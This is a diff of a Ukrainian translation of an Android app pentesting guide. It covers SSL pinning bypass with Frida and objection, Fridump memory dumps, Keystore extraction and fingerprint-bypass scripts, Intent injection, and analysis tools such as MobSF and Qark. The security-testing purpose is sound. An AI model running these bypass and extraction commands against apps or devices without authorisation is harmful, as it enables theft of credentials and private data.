перевірки: -- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references -- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config and manifest references -- Використовуйте знайдені місця відповідності для планування Frida hooks, статичних патчів або перевірки конфігурацій перед dynamic testing. +- Типові цілі виявлення для подальшого тріажу: +- OkHttp: використання CertificatePinner, setCertificatePinner, посилання на пакети okhttp3/okhttp +- Custom TrustManagers: javax.net.ssl.X509TrustManager, перевизначення checkServerTrusted +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init з кастомними managers +- Declarative pins у res/xml network security config та посилання в manifest +- Використовуйте знайдені місця для планування Frida hooks, static patches або перегляду конфігурацій перед dynamic testing. -#### Обхід SSL Pinning +#### Bypassing SSL Pinning -Коли реалізований SSL Pinning, обхід цього механізму необхідний для інспектування HTTPS-трафіку. Існують різні методи для цього: +Коли реалізовано SSL Pinning, його bypassing стає необхідним для інспекції HTTPS-трафіку. Для цього існують різні методи: -- Автоматично **змінити** **apk** щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Головна перевага цього варіанту — вам не потрібен root для обходу SSL Pinning, проте доведеться видалити застосунок і перевстановити модифікований, і це не завжди працює. -- Можна використовувати **Frida** (обговорюється нижче) щоб обійти цей захист. Ось гайду для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Також можна спробувати **автоматично обійти SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Можна також спробувати **автоматично обійти SSL Pinning** за допомогою **MobSF dynamic analysis** (пояснено нижче) -- Якщо ви все ще вважаєте, що частину трафіку не перехоплюєте, можна спробувати **перенаправити трафік до burp за допомогою iptables**. Читайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Автоматично **змінити** **apk**, щоб **bypass** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найбільша перевага цього варіанту в тому, що для bypass SSL Pinning root не потрібен, але доведеться видалити додаток і перевстановити його, і це не завжди працює. +- Ви можете використати **Frida** (описано нижче) для bypass цього захисту. Ось гайд для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Ви також можете спробувати **automatically bypass SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Ви також можете спробувати **automatically bypass SSL Pinning** використовуючи **MobSF dynamic analysis** (описано нижче) +- Якщо ви все ще вважаєте, що частина трафіку не перехоплюється, можна спробувати **forward the traffic to burp using iptables**. Читайте цю статтю: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Пошук загальних веб-уразливостей +#### Looking for Common Web Vulnerabilities -Також важливо шукати загальні веб-уразливості всередині додатку. Детальна інформація про ідентифікацію та пом’якшення цих уразливостей виходить за рамки цього резюме, але детально розглянута в інших джерелах. +Важливо також шукати загальні web-вразливості в додатку. Детальна інформація щодо ідентифікації та пом'якшення цих вразливостей виходить за рамки цього резюме, але детально описана в інших матеріалах. ### Frida -[Frida](https://www.frida.re) — це dynamic instrumentation toolkit для розробників, реверс-інженерів та дослідників з безпеки.\ -**Ви можете отримати доступ до запущеного застосунку та hook methods під час виконання, змінювати поведінку, змінювати значення, витягувати значення, виконувати інший код...**\ -Якщо ви хочете робити pentesting Android-додатків, вам потрібно вміти користуватися Frida. +[Frida](https://www.frida.re) — це інструментарій динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\ +**Ви можете отримати доступ до працюючого додатку та hook methods під час виконання, щоб змінювати поведінку, змінювати значення, витягувати значення, запускати інший код...**\ +Якщо ви хочете pentest Android-додатки, потрібно вміти користуватись Frida. - Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) - Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Спробуйте обійти anti-debugging / anti-frida механізми, завантаживши Frida як описано в [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (інструмент [linjector](https://github.com/erfur/linjector-rs)) +- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -521,11 +523,11 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Dump Memory - Fridump** +### **Дамп пам'яті - Fridump** -Перевірте, чи зберігає застосунок конфіденційну інформацію в пам’яті, що не повинен зберігати — наприклад паролі або мнемоніки. +Перевірте, чи додаток не зберігає в пам'яті конфіденційну інформацію, якої не повинен зберігати, наприклад паролі або мнемонічні фрази. -Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: +Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3) ви можете зробити дамп пам'яті додатку за допомогою: ```bash # With PID python3 fridump3.py -u @@ -534,64 +536,64 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Це вивантажить пам'ять у папку ./dump, і там ви можете виконати grep приблизно так: +Це скине пам'ять у папку ./dump, і там ви можете за допомогою grep виконати щось на кшталт: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Чутливі дані в Keystore** -В Android Keystore — найкраще місце для зберігання чутливих даних; однак за наявності достатніх привілеїв до нього все ще **можна отримати доступ**. Оскільки додатки схильні зберігати тут **sensitive data in clear text**, pentests повинні перевіряти це, оскільки root user або особа з фізичним доступом до пристрою може викрасти ці дані. +В Android Keystore — найкраще місце для зберігання чутливих даних, однак за наявності достатніх привілеїв все одно **можна отримати до нього доступ**. Оскільки додатки зазвичай тут зберігають **чутливі дані у відкритому вигляді**, pentests повинні перевіряти це як root user, інакше особа з фізичним доступом до пристрою може вкрасти ці дані. -Навіть якщо додаток зберігав дані в keystore, вони мають бути зашифровані. +Навіть якщо додаток зберіг дані в Keystore, ці дані мають бути зашифровані. -Щоб отримати доступ до даних у keystore, можна використати цей Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Щоб отримати доступ до даних всередині Keystore, можна використати цей Frida скрипт: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Використовуючи наведений Frida-скрипт, можливо здійснити **bypass fingerprint authentication**, що Android-застосунки можуть виконувати з метою **захисту певних чутливих областей:** +За допомогою наведеного Frida script може стати можливим **bypass fingerprint authentication**, яке Android applications використовують для **захисту певних чутливих областей:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Фонові зображення** -Коли ви відправляєте додаток у фон, Android зберігає **знімок додатка**, тож під час відновлення на передній план він починає завантажувати це зображення перед самим додатком, щоб здавалося, ніби додаток завантажився швидше. +Коли ви переводите додаток у фоновий режим, Android зберігає **знімок додатка**, тож під час відновлення на передній план він починає завантажувати це зображення перед самим додатком — це створює враження, що додаток відкрився швидше. -Однак, якщо цей знімок містить **чутливу інформацію**, той, хто має доступ до знімка, може **вкрасти цю інформацію** (зауважте, що для доступу потрібен root). +Однак, якщо цей знімок містить **чутливу інформацію**, хтось із доступом до нього може **вкрасти цю інформацію** (зверніть увагу, що для доступу потрібен root). -Зазвичай знімки зберігаються за адресою: **`/data/system_ce/0/snapshots`** +Знімки зазвичай зберігаються за шляхом: **`/data/system_ce/0/snapshots`** -Android надає спосіб **запобігти захопленню скриншотів шляхом встановлення параметра макета FLAG_SECURE**. Використовуючи цей флаг, вміст вікна вважається захищеним, що перешкоджає його появі у скриншотах або перегляду на незахищених дисплеях. +Android надає спосіб **заборонити захоплення знімків екрана шляхом встановлення параметра макета FLAG_SECURE**. Використовуючи цей прапорець, вміст вікна позначається як захищений, що запобігає його появі у знімках екрана або перегляду на незахищених дисплеях. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` -### **Аналізатор Android-застосунків** +### **Аналізатор Android-додатків** -Цей інструмент може допомогти у керуванні різними інструментами під час динамічного аналізу: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Цей інструмент може допомогти в управлінні різними інструментами під час dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Розробники часто створюють проксі-компоненти, такі як activities, services і broadcast receivers, які обробляють ці Intents і передають їх у методи, такі як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано. +Розробники часто створюють proxy components, такі як activities, services, і broadcast receivers, які обробляють ці Intents і передають їх у методи на кшталт `startActivity(...)` або `sendBroadcast(...)`, що може бути небезпечно. -Небезпека полягає в тому, що дозволяється атакуючим тригерити non-exported app components або отримувати доступ до чутливих content providers, перенаправивши ці Intents. Помітний приклад — компонент `WebView`, який перетворює URL на об'єкти `Intent` за допомогою `Intent.parseUri(...)` і потім виконує їх, що може призвести до malicious Intent injections. +Небезпека полягає в тому, що атакувальники можуть змусити виконати non-exported app components або отримати доступ до чутливих content providers, перенаправивши ці Intents. Яскравий приклад — компонент `WebView`, який конвертує URL у `Intent` через `Intent.parseUri(...)` і потім виконує їх, що потенційно може призвести до malicious Intent injections. ### Essential Takeaways -- **Intent Injection** схоже на веб-проблему Open Redirect. -- Експлойти передбачають передачу об'єктів `Intent` як extras, які можуть бути перенаправлені для виконання небезпечних операцій. -- Це може відкрити non-exported components і content providers для атакуючих. -- Конвертація URL у `Intent` у `WebView` може сприяти небажаним діям. +- **Intent Injection** is similar to web's Open Redirect issue. +- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations. +- It can expose non-exported components and content providers to attackers. +- `WebView`’s URL to `Intent` conversion can facilitate unintended actions. -### Клієнтські ін'єкції в Android та інше +### Android Client Side Injections and others -Ймовірно, ви знайомі з таким типом вразливостей з Web. У Android-застосунку потрібно бути особливо уважним щодо цих вразливостей: +Ймовірно, ви вже знаєте про цей тип вразливостей з Web. Слід бути особливо обережним із цими вразливостями в Android-додатку: -- **SQL Injection:** При роботі з динамічними запитами або Content-Providers переконайтеся, що ви використовуєте параметризовані запити. -- **JavaScript Injection (XSS):** Переконайтеся, що підтримка JavaScript і плагінів вимкнена для всіх WebView (вимкнено за замовчуванням). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** Доступ WebView до файлової системи має бути відключений (увімкнено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: У кількох випадках, коли Android-застосунок завершує сесію, cookie не відкликається або навіть може зберігатися на диску -- [**Secure Flag** у cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) +- **SQL Injection:** При роботі з dynamic queries або Content-Providers переконайтеся, що ви використовуєте parameterized queries. +- **JavaScript Injection (XSS):** Переконайтеся, що JavaScript та Plugin support вимкнені для будь-яких WebViews (вимкнено за замовчуванням). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (увімкнено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: У кількох випадках, коли Android-додаток завершує сесію, cookie не відкликається або навіть може зберігатися на диску. +- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -603,7 +605,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ![](<../../images/image (866).png>) -**Оцінка вразливостей застосунку** з використанням зручного веб-інтерфейсу. Також можна виконувати динамічний аналіз (але потрібно підготувати середовище). +**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -611,14 +613,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. -MobSF також дозволяє виконувати **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно встановити ваш API key у _MobSF/settings.py_ та увімкнути його: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` в `False`, тоді **hash** буде **upload** замість файлу. +MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. ### Assisted Dynamic analysis with MobSF -**MobSF** також дуже корисний для **dynamic analysis** в **Android**, але в цьому випадку вам потрібно встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватиме). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -**MobSF dynamic analyser** може: +**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +The **MobSF dynamic analyser** can: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Усе це робиться автоматично, крім знімків екрана — їх потрібно робити вручну або натиснути "**Exported Activity Tester**", щоб отримати знімки всіх exported activities. +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. - Capture **HTTPS traffic** - Use **Frida** to obtain **runtime** **information** @@ -626,28 +628,28 @@ From android **versions > 5**, it will **automatically start Frida** and will se **Frida** -За замовчуванням MobSF також використовує деякі Frida Scripts щоб **bypass SSL pinning**, **root detection** та **debugger detection** і для **monitor interesting APIs**.\ -MobSF також може **invoke exported activities**, робити **screenshots** цих активностей і **save** їх для звіту. +By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ +MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. -Щоб **start** dynamic testing натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити логи, згенеровані Frida scripts, та "**Live API Monitor**", щоб побачити всі виклики до hooked methods, передані аргументи та returned values (це з’явиться після натискання "Start Instrumentation").\ -MobSF також дозволяє завантажувати власні **Frida scripts** (щоб відправити результати ваших Frida скриптів до MobSF використовуйте функцію `send()`). Також є **several pre-written scripts**, які можна завантажити (можна додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **select them**, натисніть "**Load**" і потім "**Start Instrumentation**" (логи цих скриптів будуть відображатися в "**Frida Live Logs**"). +To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ +MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). ![](<../../images/image (419).png>) -Крім того, доступні деякі допоміжні Frida функції: +Moreover, you have some Auxiliary Frida functionalities: -- **Enumerate Loaded Classes**: Друкує всі завантажені класи -- **Capture Strings**: Друкує всі захоплені рядки під час використання додатку (дуже шумно) -- **Capture String Comparisons**: Може бути дуже корисно. Показує дві строки, що порівнюються, і чи був результат True або False. -- **Enumerate Class Methods**: Введіть ім’я класу (наприклад "java.io.File"), і воно виведе всі методи класу. -- **Search Class Pattern**: Шукає класи за шаблоном -- **Trace Class Methods**: **Trace** весь **class** (дивиться inputs і outputs всіх методів класу). Пам’ятайте, що за замовчуванням MobSF трасує декілька цікавих Android Api methods. +- **Enumerate Loaded Classes**: It will print all the loaded classes +- **Capture Strings**: It will print all the capture strings while using the application (super noisy) +- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. +- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. +- **Search Class Pattern**: Search classes by pattern +- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of the class). Remember that by default MobSF traces several interesting Android Api methods. -Після вибору потрібного auxiliary module потрібно натиснути "**Start Intrumentation**", і всі виводи з’являться у "**Frida Live Logs**". +Once you have selected the auxiliary module you want to use you need to press "**Start Instrumentation**" and you will see all the outputs in "**Frida Live Logs**". **Shell** -MobSF також надає shell з деякими **adb** командами, **MobSF commands**, та загальними **shell** **commands** у нижній частині сторінки dynamic analysis. Декілька цікавих команд: +Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: ```bash help shell ls @@ -656,24 +658,24 @@ exported_activities services receivers ``` -**HTTP інструменти** +**HTTP tools** -Коли HTTP-трафік захоплено, ви можете побачити неохайне представлення захопленого трафіку внизу в "**HTTP(S) Traffic**" або більш приємне представлення у зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете надіслати **захоплені запити** на **proxies** такі як Burp або Owasp ZAP.\ -Для цього: _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> натисніть "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Після завершення dynamic analysis з MobSF ви можете натиснути на "**Start Web API Fuzzer**", щоб **fuzz http requests** і шукати вразливості. +Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. > [!TIP] -> Після виконання dynamic analysis з MobSF налаштування proxy можуть бути неправильно сконфігуровані, і ви не зможете виправити їх через GUI. Ви можете виправити налаштування proxy, виконавши: +> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Асистований динамічний аналіз з Inspeckage You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Цей інструмент використовує деякі **Hooks**, щоб показувати, що відбувається в додатку, поки ви виконуєте **dynamic analysis**. +Цей інструмент використовує деякі **Hooks**, щоб повідомляти, **що відбувається в додатку**, поки ви виконуєте **динамічний аналіз**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -683,7 +685,7 @@ This is a **great tool to perform static analysis with a GUI** ### [Qark](https://github.com/linkedin/qark) -Цей інструмент призначений для пошуку кількох **security related Android application vulnerabilities**, як у **source code**, так і в **packaged APKs**. Інструмент також **capable of creating a "Proof-of-Concept" deployable APK** та **ADB commands**, щоб експлуатувати деякі з знайдених вразливостей (Exposed activities, intents, tapjacking...). Як і з Drozer, немає потреби root-ити тестовий пристрій. +This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -692,10 +694,10 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Відображає всі витягнуті файли для зручного перегляду -- Автоматично декомпілює APK-файли в Java та Smali формати -- Аналізує AndroidManifest.xml на предмет поширених вразливостей і поведінки -- Статичний аналіз вихідного коду на предмет поширених вразливостей і поведінки +- Відображає всі вилучені файли для зручного перегляду +- Автоматично декомпілює APK файли в форматах Java та Smali +- Аналізує AndroidManifest.xml на наявність поширених вразливостей та поведінки +- Статичний аналіз вихідного коду на поширені вразливості та поведінку - Інформація про пристрій - та інше ```bash @@ -703,11 +705,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER — це застосунок командного рядка, який можна використовувати у Windows, MacOS X та Linux; він аналізує _.apk_ файли в пошуках вразливостей. Він робить це, розпаковуючи APK та застосовуючи набір правил для виявлення цих вразливостей. +SUPER — консольна програма, яку можна запускати у Windows, MacOS X та Linux, яка аналізує _.apk_ файли в пошуку вразливостей. Вона робить це, розпаковуючи APKs та застосовуючи серію правил для виявлення цих вразливостей. -Усі правила зосереджені у файлі `rules.json`, і кожна компанія або тестувальник може створити власні правила для аналізу того, що їм потрібно. +Усі правила зібрані у файлі `rules.json`, і кожна компанія або тестувальник може створити власні правила для аналізу того, що їм потрібно. -Завантажте останні бінарні файли на [download page](https://superanalyzer.rocks/download.html) +Завантажте останні бінарні файли зі сторінки [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -715,17 +717,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn is a **кросплатформний** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers у проведенні [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) у мобільних додатках. +StaCoAn — це **кросплатформний** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers виконувати [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) на мобільних застосунках. -The concept is that you drag and drop your mobile application file (an .apk or .ipa file) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience. +Концепція полягає в тому, що ви перетягуєте файл вашого мобільного застосунку (.apk або .ipa) у застосунок StaCoAn, і він згенерує для вас візуальний та портативний звіт. Ви можете налаштувати параметри та wordlists, щоб отримати індивідуальний досвід. -Завантажити[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework — це система аналізу вразливостей для Android, яка допомагає розробникам або hackers знаходити потенційні вразливості безпеки в додатках Android.\ +AndroBugs Framework — це система аналізу вразливостей для Android, яка допомагає розробникам або hackers знаходити потенційні вразливості безпеки в Android-застосунках.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -733,11 +735,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** — це інструмент, основна мета якого — виявляти і попереджати користувача про потенційно шкідливу поведінку, розроблену Android-застосунком. +**Androwarn** — інструмент, основна мета якого — виявляти та попереджати користувача про потенційно шкідливу поведінку Android-застосунку. -Виявлення здійснюється за допомогою **static analysis** Dalvik bytecode застосунку, представленого у вигляді **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard). +Виявлення виконується за допомогою **static analysis** байткоду Dalvik застосунку, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard). -Цей інструмент шукає **common behavior of "bad" applications** такі як: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Цей інструмент шукає **common behavior of "bad" applications**, такі як: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -745,30 +747,30 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** — це фреймворк для **M**obile **A**pplication **R**everse engineering and **A**nalysis. Це інструмент, який збирає разом поширені інструменти для зворотного інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків проти загроз мобільної безпеки OWASP. Його мета — зробити це завдання простішим і зручнішим для розробників мобільних додатків та фахівців з безпеки. +**MARA** — це фреймворк для Mobile Application Reverse engineering and Analysis. Це інструмент, який об’єднує поширені інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти у тестуванні мобільних додатків на предмет загроз OWASP mobile security. Його мета — зробити це завдання простішим та зручнішим для mobile application developers і security professionals. -Фреймворк дозволяє: +Він може: - Extract Java and Smali code using different tools -- Аналізувати APK за допомогою: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) - Extract private information from the APK using regexps. -- Аналізувати Manifest. -- Аналізувати знайдені домени за допомогою: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) та [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuscate APK via [apk-deguard.com] +- Analyze the Manifest. +- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Корисно для виявлення malware: [https://koodous.com/](https://koodous.com) +Корисно для виявлення malware: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Зауважте, що залежно від сервісу та конфігурації, які ви використовуєте для обфускації коду, секрети можуть бути обфусцовані або ні. +Зверніть увагу, що в залежності від сервісу та конфігурації, яку ви використовуєте для обфускації коду, секрети можуть бути або не бути обфусцовані. ### [ProGuard]() From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. -ProGuard розповсюджується як частина Android SDK і запускається при збірці додатка в режимі release. +ProGuard розповсюджується як частина Android SDK і запускається при збірці застосунку в release-режимі. ### [DexGuard](https://www.guardsquare.com/dexguard) @@ -786,7 +788,7 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu **DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** -Ви можете завантажити обфускований APK на їхню платформу. +Ви можете завантажити обфусцований APK на їхню платформу. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app @@ -794,11 +796,11 @@ This is a LLM tool to find any potential security vulnerabilities in android app ### [Simplify](https://github.com/CalebFenton/simplify) -Це **generic android deobfuscator.** Simplify **virtually executes an app** щоб зрозуміти її поведінку, а потім **прагне оптимізувати код**, щоб він поводився ідентично, але був легшим для розуміння людиною. Кожен тип оптимізації простий і загальний, тому не має значення, який саме тип обфускації використовується. +It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD дає інформацію про **how an APK was made**. Він ідентифікує багато **compilers**, **packers**, **obfuscators**, та інші дивні речі. Це 